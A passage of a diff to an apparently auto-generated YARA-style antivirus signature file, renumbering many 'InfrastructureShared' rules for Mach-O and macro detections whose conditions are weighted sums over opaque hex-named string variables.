1)*-100+(#a_01_11 & 1)*-100) >=1 } -rule _InfrastructureShared_21536{ +rule _InfrastructureShared_22820{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 17 00 21 " @@ -284379,7 +300849,7 @@ rule _InfrastructureShared_21536{ ((#a_46_0 & 1)*21283+(#a_52_1 & 1)*17740+(#a_5f_2 & 1)*19777+(#a_5f_3 & 1)*18766+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1+(#a_b8_13 & 1)*0+(#a_57_14 & 1)*28994+(#a_01_15 & 1)*2+(#a_01_16 & 1)*2+(#a_01_17 & 1)*2+(#a_01_18 & 1)*2+(#a_01_19 & 1)*2+(#a_01_20 & 1)*2+(#a_01_21 & 1)*1+(#a_01_22 & 1)*1) >=2 } -rule _InfrastructureShared_21537{ +rule _InfrastructureShared_22821{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 1a 00 21 " @@ -284414,7 +300884,7 @@ rule _InfrastructureShared_21537{ ((#a_46_0 & 1)*16675+(#a_5a_1 & 1)*29811+(#a_78_2 & 1)*25697+(#a_44_3 & 1)*21072+(#a_02_4 & 1)*26744+(#a_5f_5 & 1)*25959+(#a_72_6 & 1)*25697+(#a_48_7 & 1)*21333+(#a_63_8 & 1)*30309+(#a_75_9 & 1)*11846+(#a_00_10 & 1)*1+(#a_00_11 & 1)*1+(#a_00_12 & 1)*1+(#a_00_13 & 1)*1+(#a_00_14 & 1)*1+(#a_00_15 & 1)*1+(#a_00_16 & 1)*1+(#a_00_17 & 1)*1+(#a_00_18 & 1)*1+(#a_00_19 & 1)*1+(#a_00_20 & 1)*1+(#a_00_21 & 1)*1+(#a_00_22 & 1)*1+(#a_00_23 & 1)*-100+(#a_00_24 & 1)*-100+(#a_00_25 & 1)*-100) >=2 } -rule _InfrastructureShared_21538{ +rule _InfrastructureShared_22822{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 16 00 21 " @@ -284443,7 +300913,7 @@ rule _InfrastructureShared_21538{ ((#a_46_0 & 1)*16675+(#a_48_1 & 1)*21842+(#a_53_2 & 1)*20788+(#a_4d_3 & 1)*13369+(#a_5a_4 & 1)*18513+(#a_66_5 & 1)*29551+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1+(#a_00_8 & 1)*1+(#a_00_9 & 1)*-100+(#a_00_10 & 1)*-100+(#a_00_11 & 1)*-100+(#a_00_12 & 1)*-100+(#a_74_13 & 1)*0+(#a_65_14 & 1)*25940+(#a_01_15 & 1)*26465+(#a_61_16 & 1)*20+(#a_74_18 & 1)*29793+(#a_6c_20 & 1)*28769+(#a_6f_21 & 1)*21349) >=5 } -rule _InfrastructureShared_21539{ +rule _InfrastructureShared_22823{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 1f 00 21 " @@ -284482,7 +300952,7 @@ rule _InfrastructureShared_21539{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*27753+(#a_6d_2 & 1)*25344+(#a_2e_3 & 1)*25344+(#a_00_4 & 1)*25188+(#a_6d_5 & 1)*12032+(#a_74_6 & 1)*26691+(#a_6e_7 & 1)*26996+(#a_74_8 & 1)*26473+(#a_ff_9 & 1)*25193+(#a_38_10 & 1)*1025+(#a_29_12 & 1)*3841+(#a_1d_13 & 1)*4096+(#a_3b_14 & 1)*30189+(#a_83_15 & 1)*272+(#a_3b_16 & 1)*24292+(#a_0b_17 & 1)*30913+(#a_fb_18 & 1)*-28489+(#a_4b_19 & 1)*-11471+(#a_d5_20 & 1)*18826+(#a_02_21 & 1)*-15232+(#a_a2_22 & 1)*-29150+(#a_9f_23 & 1)*14777+(#a_2f_24 & 1)*-20315+(#a_2b_25 & 1)*-17185+(#a_e7_26 & 1)*20790+(#a_ed_27 & 1)*5157+(#a_22_28 & 1)*-13311+(#a_02_29 & 1)*-18497+(#a_b2_30 & 1)*-27619) >=4 } -rule _InfrastructureShared_21540{ +rule _InfrastructureShared_22824{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,01 00 01 00 77 00 21 " @@ -284586,7 +301056,7 @@ rule _InfrastructureShared_21540{ ((#a_46_0 & 1)*16675+(#a_b2_1 & 1)*20798+(#a_9c_2 & 1)*12092+(#a_82_3 & 1)*-4790+(#a_8e_4 & 1)*11539+(#a_3b_5 & 1)*24292+(#a_0b_6 & 1)*30913+(#a_fb_7 & 1)*-28489+(#a_4b_8 & 1)*-11471+(#a_d5_9 & 1)*18826+(#a_02_10 & 1)*-15232+(#a_a2_11 & 1)*-29150+(#a_9f_12 & 1)*14777+(#a_2f_13 & 1)*-20315+(#a_2b_14 & 1)*-17185+(#a_e7_15 & 1)*20790+(#a_ed_16 & 1)*5157+(#a_22_17 & 1)*-13311+(#a_02_18 & 1)*-18497+(#a_b2_19 & 1)*-27619+(#a_ea_20 & 1)*4096+(#a_32_21 & 1)*32050+(#a_41_22 & 1)*-22698+(#a_f1_23 & 1)*4096+(#a_39_24 & 1)*22954+(#a_01_25 & 1)*1+(#a_01_26 & 1)*1+(#a_01_27 & 1)*1+(#a_01_28 & 1)*1+(#a_fa_29 & 1)*0+(#a_65_30 & 1)*26177+(#a_70_31 & 1)*25888+(#a_66_32 & 1)*29801+(#a_6c_33 & 1)*28274+(#a_70_34 & 1)*30511+(#a_74_35 & 1)*28524+(#a_72_36 & 1)*29300+(#a_6b_37 & 1)*4096+(#a_03_38 & 1)*25972+(#a_70_40 & 1)*6144+(#a_67_41 & 1)*27753+(#a_61_42 & 1)*25346+(#a_6f_43 & 1)*24424+(#a_6f_44 & 1)*11+(#a_43_45 & 1)*31090+(#a_6f_46 & 1)*17967+(#a_6c_47 & 1)*24899+(#a_65_48 & 1)*26978+(#a_4a_50 & 1)*22611+(#a_41_51 & 1)*8308+(#a_65_52 & 1)*26740+(#a_73_53 & 1)*656+(#a_73_55 & 1)*294+(#a_70_56 & 1)*19+(#a_20_57 & 1)*28265+(#a_20_58 & 1)*25971+(#a_73_59 & 1)*29251+(#a_52_60 & 1)*20306+(#a_43_61 & 1)*29807+(#a_00_63 & 1)*0+(#a_54_65 & 1)*18509+(#a_00_69 & 1)*1+(#a_4d_70 & 1)*8448+(#a_54_71 & 1)*18509+(#a_65_73 & 1)*8704+(#a_01_74 & 1)*1+(#a_24_75 & 1)*0+(#a_78_76 & 1)*29537+(#a_67_77 & 1)*14930+(#a_33_78 & 1)*27716+(#a_48_79 & 1)*8993+(#a_23_80 & 1)*1+(#a_00_81 & 1)*1+(#a_4d_82 & 1)*8448+(#a_54_84 & 1)*18509+(#a_79_85 & 1)*14930+(#a_77_86 & 1)*30579+(#a_23_87 & 1)*1+(#a_54_90 & 1)*18509+(#a_3a_91 & 1)*21587+(#a_53_92 & 1)*21076+(#a_64_93 & 1)*29545+(#a_00_95 & 1)*1+(#a_4d_96 & 1)*8448+(#a_4d_98 & 1)*8448+(#a_4d_100 & 1)*8448+(#a_4d_102 & 1)*8448+(#a_4d_104 & 1)*8448+(#a_4d_106 & 1)*8448+(#a_4d_108 & 1)*8448+(#a_4d_110 & 1)*8448+(#a_4d_112 & 1)*8448+(#a_4d_114 & 1)*8448+(#a_4d_116 & 1)*8448+(#a_4d_118 & 1)*8448) >=1 } -rule _InfrastructureShared_21541{ +rule _InfrastructureShared_22825{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 6e 00 21 " @@ -284703,7 +301173,7 @@ rule _InfrastructureShared_21541{ ((#a_63_0 & 1)*19747+(#a_6c_1 & 1)*8285+(#a_00_2 & 1)*3+(#a_00_3 & 1)*3+(#a_00_4 & 1)*3+(#a_00_5 & 1)*3+(#a_00_6 & 1)*3+(#a_00_7 & 1)*3+(#a_00_8 & 1)*3+(#a_00_9 & 1)*3+(#a_00_10 & 1)*3+(#a_00_11 & 1)*3+(#a_00_12 & 1)*3+(#a_00_13 & 1)*3+(#a_00_14 & 1)*3+(#a_00_15 & 1)*3+(#a_00_16 & 1)*3+(#a_00_17 & 1)*3+(#a_00_18 & 1)*3+(#a_00_19 & 1)*3+(#a_00_20 & 1)*3+(#a_00_21 & 1)*3+(#a_00_22 & 1)*3+(#a_02_23 & 1)*3+(#a_02_24 & 1)*3+(#a_02_25 & 1)*3+(#a_02_26 & 1)*3+(#a_02_27 & 1)*3+(#a_02_28 & 1)*3+(#a_02_29 & 1)*3+(#a_02_30 & 1)*3+(#a_02_31 & 1)*3+(#a_02_32 & 1)*3+(#a_02_33 & 1)*3+(#a_02_34 & 1)*3+(#a_02_35 & 1)*3+(#a_02_36 & 1)*3+(#a_02_37 & 1)*3+(#a_02_38 & 1)*3+(#a_02_39 & 1)*3+(#a_02_40 & 1)*3+(#a_02_41 & 1)*3+(#a_02_42 & 1)*3+(#a_02_43 & 1)*3+(#a_02_44 & 1)*3+(#a_00_45 & 1)*1+(#a_00_46 & 1)*1+(#a_02_47 & 1)*1+(#a_00_48 & 1)*1+(#a_01_49 & 1)*1+(#a_01_50 & 1)*1+(#a_01_51 & 1)*1+(#a_01_52 & 1)*1+(#a_01_53 & 1)*1+(#a_01_54 & 1)*1+(#a_01_55 & 1)*1+(#a_00_56 & 1)*1+(#a_00_57 & 1)*1+(#a_00_58 & 1)*1+(#a_00_59 & 1)*1+(#a_00_60 & 1)*1+(#a_00_61 & 1)*1+(#a_00_62 & 1)*1+(#a_00_63 & 1)*1+(#a_00_64 & 1)*1+(#a_00_65 & 1)*1+(#a_00_66 & 1)*1+(#a_00_67 & 1)*1+(#a_00_68 & 1)*1+(#a_00_69 & 1)*1+(#a_00_70 & 1)*1+(#a_00_71 & 1)*1+(#a_00_72 & 1)*1+(#a_00_73 & 1)*-100+(#a_00_74 & 1)*-100+(#a_00_75 & 1)*-100+(#a_00_76 & 1)*-100+(#a_00_77 & 1)*-100+(#a_01_78 & 1)*-100+(#a_00_79 & 1)*-100+(#a_00_80 & 1)*-100+(#a_00_81 & 1)*-100+(#a_01_82 & 1)*-100+(#a_03_83 & 1)*-100+(#a_01_84 & 1)*-100+(#a_00_85 & 1)*-100+(#a_01_86 & 1)*-100+(#a_01_87 & 1)*-100+(#a_01_88 & 1)*-100+(#a_01_89 & 1)*-100+(#a_01_90 & 1)*-100+(#a_01_91 & 1)*-100+(#a_01_92 & 1)*-100+(#a_01_93 & 1)*-100+(#a_01_94 & 1)*-100+(#a_01_95 & 1)*-100+(#a_01_96 & 1)*-100+(#a_01_97 & 1)*-100+(#a_03_98 & 1)*-100+(#a_1e_99 & 1)*0+(#a_00_100 & 1)*1+(#a_53_101 & 1)*19747+(#a_61_102 & 1)*14930+(#a_6e_104 & 1)*30464+(#a_70_106 & 1)*24832+(#a_50_107 & 1)*8+(#a_00_108 & 1)*1+(#a_53_109 & 1)*19747) >=5 } -rule _InfrastructureShared_21542{ +rule _InfrastructureShared_22826{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -284717,7 +301187,7 @@ rule _InfrastructureShared_21542{ ((#a_4c_0 & 1)*21539+(#a_72_1 & 1)*30033+(#a_41_2 & 1)*18770+(#a_00_3 & 1)*0+(#a_21_4 & 1)*47) >=5 } -rule _InfrastructureShared_21543{ +rule _InfrastructureShared_22827{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -284736,7 +301206,7 @@ rule _InfrastructureShared_21543{ ((#a_4c_0 & 1)*21539+(#a_72_1 & 1)*11+(#a_74_3 & 1)*25970+(#a_2f_4 & 1)*20292+(#a_56_5 & 1)*27745+(#a_61_6 & 1)*19527+(#a_74_7 & 1)*25972+(#a_53_8 & 1)*9836+(#a_54_9 & 1)*18258+(#a_6d_10 & 1)*20015) >=11 } -rule _InfrastructureShared_21544{ +rule _InfrastructureShared_22828{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,18 00 18 00 06 00 21 " @@ -284751,7 +301221,7 @@ rule _InfrastructureShared_21544{ ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*13880+(#a_6e_2 & 1)*26210+(#a_20_3 & 1)*8707+(#a_6c_4 & 1)*28274+(#a_65_5 & 1)*29554) >=24 } -rule _InfrastructureShared_21545{ +rule _InfrastructureShared_22829{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,0a 00 0a 00 05 00 21 " @@ -284765,7 +301235,7 @@ rule _InfrastructureShared_21545{ ((#a_4c_0 & 1)*21539+(#a_74_1 & 1)*8230+(#a_6e_2 & 1)*28528+(#a_69_3 & 1)*28277+(#a_69_4 & 1)*28783) >=10 } -rule _InfrastructureShared_21546{ +rule _InfrastructureShared_22830{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -284777,7 +301247,7 @@ rule _InfrastructureShared_21546{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*110+(#a_00_4 & 1)*52) >=5 } -rule _InfrastructureShared_21547{ +rule _InfrastructureShared_22831{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -284787,7 +301257,7 @@ rule _InfrastructureShared_21547{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21548{ +rule _InfrastructureShared_22832{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -284797,7 +301267,7 @@ rule _InfrastructureShared_21548{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21549{ +rule _InfrastructureShared_22833{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -284807,7 +301277,7 @@ rule _InfrastructureShared_21549{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21550{ +rule _InfrastructureShared_22834{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -284817,7 +301287,7 @@ rule _InfrastructureShared_21550{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21551{ +rule _InfrastructureShared_22835{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -284827,7 +301297,7 @@ rule _InfrastructureShared_21551{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21552{ +rule _InfrastructureShared_22836{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -284837,7 +301307,7 @@ rule _InfrastructureShared_21552{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21553{ +rule _InfrastructureShared_22837{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -284847,7 +301317,7 @@ rule _InfrastructureShared_21553{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21554{ +rule _InfrastructureShared_22838{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -284857,7 +301327,7 @@ rule _InfrastructureShared_21554{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21555{ +rule _InfrastructureShared_22839{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -284867,7 +301337,7 @@ rule _InfrastructureShared_21555{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21556{ +rule _InfrastructureShared_22840{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -284877,7 +301347,7 @@ rule _InfrastructureShared_21556{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21557{ +rule _InfrastructureShared_22841{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -284887,7 +301357,7 @@ rule _InfrastructureShared_21557{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21558{ +rule _InfrastructureShared_22842{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -284897,7 +301367,7 @@ rule _InfrastructureShared_21558{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21559{ +rule _InfrastructureShared_22843{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -284907,7 +301377,7 @@ rule _InfrastructureShared_21559{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21560{ +rule _InfrastructureShared_22844{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -284917,7 +301387,7 @@ rule _InfrastructureShared_21560{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21561{ +rule _InfrastructureShared_22845{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -284927,7 +301397,7 @@ rule _InfrastructureShared_21561{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21562{ +rule _InfrastructureShared_22846{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -284937,7 +301407,7 @@ rule _InfrastructureShared_21562{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21563{ +rule _InfrastructureShared_22847{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -284947,7 +301417,7 @@ rule _InfrastructureShared_21563{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21564{ +rule _InfrastructureShared_22848{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -284957,7 +301427,7 @@ rule _InfrastructureShared_21564{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21565{ +rule _InfrastructureShared_22849{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -284967,7 +301437,7 @@ rule _InfrastructureShared_21565{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21566{ +rule _InfrastructureShared_22850{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -284977,7 +301447,7 @@ rule _InfrastructureShared_21566{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21567{ +rule _InfrastructureShared_22851{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -284987,7 +301457,7 @@ rule _InfrastructureShared_21567{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21568{ +rule _InfrastructureShared_22852{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -284997,7 +301467,7 @@ rule _InfrastructureShared_21568{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21569{ +rule _InfrastructureShared_22853{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285007,7 +301477,7 @@ rule _InfrastructureShared_21569{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21570{ +rule _InfrastructureShared_22854{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285017,7 +301487,7 @@ rule _InfrastructureShared_21570{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21571{ +rule _InfrastructureShared_22855{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285027,7 +301497,7 @@ rule _InfrastructureShared_21571{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21572{ +rule _InfrastructureShared_22856{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285037,7 +301507,7 @@ rule _InfrastructureShared_21572{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21573{ +rule _InfrastructureShared_22857{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285047,7 +301517,7 @@ rule _InfrastructureShared_21573{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21574{ +rule _InfrastructureShared_22858{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285057,7 +301527,7 @@ rule _InfrastructureShared_21574{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21575{ +rule _InfrastructureShared_22859{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285067,7 +301537,7 @@ rule _InfrastructureShared_21575{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21576{ +rule _InfrastructureShared_22860{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285077,7 +301547,7 @@ rule _InfrastructureShared_21576{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21577{ +rule _InfrastructureShared_22861{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285087,7 +301557,7 @@ rule _InfrastructureShared_21577{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21578{ +rule _InfrastructureShared_22862{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285097,7 +301567,7 @@ rule _InfrastructureShared_21578{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21579{ +rule _InfrastructureShared_22863{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285107,7 +301577,7 @@ rule _InfrastructureShared_21579{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21580{ +rule _InfrastructureShared_22864{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285117,7 +301587,7 @@ rule _InfrastructureShared_21580{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21581{ +rule _InfrastructureShared_22865{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285127,7 +301597,7 @@ rule _InfrastructureShared_21581{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21582{ +rule _InfrastructureShared_22866{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285137,7 +301607,7 @@ rule _InfrastructureShared_21582{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21583{ +rule _InfrastructureShared_22867{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285147,7 +301617,7 @@ rule _InfrastructureShared_21583{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21584{ +rule _InfrastructureShared_22868{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285157,7 +301627,7 @@ rule _InfrastructureShared_21584{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21585{ +rule _InfrastructureShared_22869{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285167,7 +301637,7 @@ rule _InfrastructureShared_21585{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21586{ +rule _InfrastructureShared_22870{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285177,7 +301647,7 @@ rule _InfrastructureShared_21586{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21587{ +rule _InfrastructureShared_22871{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285187,7 +301657,7 @@ rule _InfrastructureShared_21587{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21588{ +rule _InfrastructureShared_22872{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285197,7 +301667,7 @@ rule _InfrastructureShared_21588{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21589{ +rule _InfrastructureShared_22873{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285207,7 +301677,7 @@ rule _InfrastructureShared_21589{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21590{ +rule _InfrastructureShared_22874{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285217,7 +301687,7 @@ rule _InfrastructureShared_21590{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21591{ +rule _InfrastructureShared_22875{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285227,7 +301697,7 @@ rule _InfrastructureShared_21591{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21592{ +rule _InfrastructureShared_22876{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285237,7 +301707,7 @@ rule _InfrastructureShared_21592{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21593{ +rule _InfrastructureShared_22877{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285247,7 +301717,7 @@ rule _InfrastructureShared_21593{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21594{ +rule _InfrastructureShared_22878{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285257,7 +301727,7 @@ rule _InfrastructureShared_21594{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21595{ +rule _InfrastructureShared_22879{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285267,7 +301737,7 @@ rule _InfrastructureShared_21595{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21596{ +rule _InfrastructureShared_22880{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285277,7 +301747,7 @@ rule _InfrastructureShared_21596{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21597{ +rule _InfrastructureShared_22881{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285287,7 +301757,7 @@ rule _InfrastructureShared_21597{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21598{ +rule _InfrastructureShared_22882{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285297,7 +301767,7 @@ rule _InfrastructureShared_21598{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21599{ +rule _InfrastructureShared_22883{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285307,7 +301777,7 @@ rule _InfrastructureShared_21599{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21600{ +rule _InfrastructureShared_22884{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285317,7 +301787,7 @@ rule _InfrastructureShared_21600{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21601{ +rule _InfrastructureShared_22885{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285327,7 +301797,7 @@ rule _InfrastructureShared_21601{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21602{ +rule _InfrastructureShared_22886{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -285337,7 +301807,7 @@ rule _InfrastructureShared_21602{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_21603{ +rule _InfrastructureShared_22887{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " 